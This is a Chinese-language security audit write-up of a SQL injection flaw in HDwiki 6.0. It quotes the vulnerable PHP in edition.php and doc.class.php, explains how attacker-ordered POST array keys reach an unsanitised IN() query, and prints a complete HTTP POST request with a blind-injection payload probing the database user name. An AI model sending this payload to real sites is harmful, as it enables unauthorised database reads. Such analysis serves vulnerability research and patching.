审计对象:HDwiki6.0正式版(UTF-8版) hdwiki官网:http://kaiyuan.hoodong.com/download/ 参考文章:https://xianzhi.aliyun.com/forum/topic/2087
漏洞出现在\control\edition.php的docompare()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 !defined('IN_HDWIKI' ) && exit ('Access Denied' ); class control extends base { ..... function docompare () { ..... if (@!is_numeric($this ->post['eid' ][0 ])||@!is_numeric($this ->post['eid' ][1 ])){ $this ->message($this ->view->lang['parameterError' ],'index.php' ,0 ); } $edition=$_ENV['doc' ]->get_edition(array_slice($this ->post['eid' ], 0 , 2 )); if ($edition[0 ]['did' ]!=$edition[1 ]['did' ]){ $this ->message($this ->view->lang['parameterError' ],'index.php' ,0 ); } ..... } ..... }
首先post['eid'][0]
和post['eid'][1]
必须是数字,不然会报错退出。array_slice()函数的作用是:从数组中移除元素,并返回所移除的元素。这里有一点很重要, POST 传入的参数,键不会自动排序的,传的时候是什么顺序,接收到的就是什么顺序 ,也就是说传给get_edition()函数的参数是我们可以控制的,这是发生注入的关键之一。
我们再来看一下get_edition()函数的实现,该函数位于\model\doc.class.php文件978行处:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 class docmodel { var $db; var $base; function docmodel (&$base) { $this ->base = $base; $this ->db = $base->db; } ...... function get_edition ($eid) { $editionlist=array (); if (is_numeric($eid)){ ...... } else { $eid=implode("," ,$eid); $query=$this ->db->query(" SELECT * FROM " .DB_TABLEPRE."edition WHERE eid IN ($eid)" ); while ($edition=$this ->db->fetch_array($query)){ ...... } return $editionlist; } } ...... }
当get_edition()函数的参数是数组的时候,则会直接用逗号拼接数组中的所有值,然后直接带入数据库查询,这里就是发生注入的关键之二。所以我们最终的payload为:
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /index.php?edition-compare HTTP/1.1Host : 192.168.0.23User-Agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36Upgrade-Insecure-Requests : 1Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : PHPSESSID=jovcdmbvja39irn9a9rso7sru6; hd_sid=lZLd3C; hd_auth=1bc4Iyy%2BgM7glSiQe3yWq7wFPWdvuO4ZGw1vEvrrzMuWdTX1kXSaxhS54Lzd8pYu%2BBGftcSI3Yy6wuwCdyI7Connection : closeContent-Type : application/x-www-form-urlencodedContent-Length : 78eid[2]=199&eid[3]=299) or if(ascii(left(user(),1))=114,1,0)#&eid[0]=3&eid[1]=4
由于我没有找到像作者一样直接将数据显示在前台的方法,这里我就用盲注(返回的数据包长度不同)来进行,效果如下:
相关文章: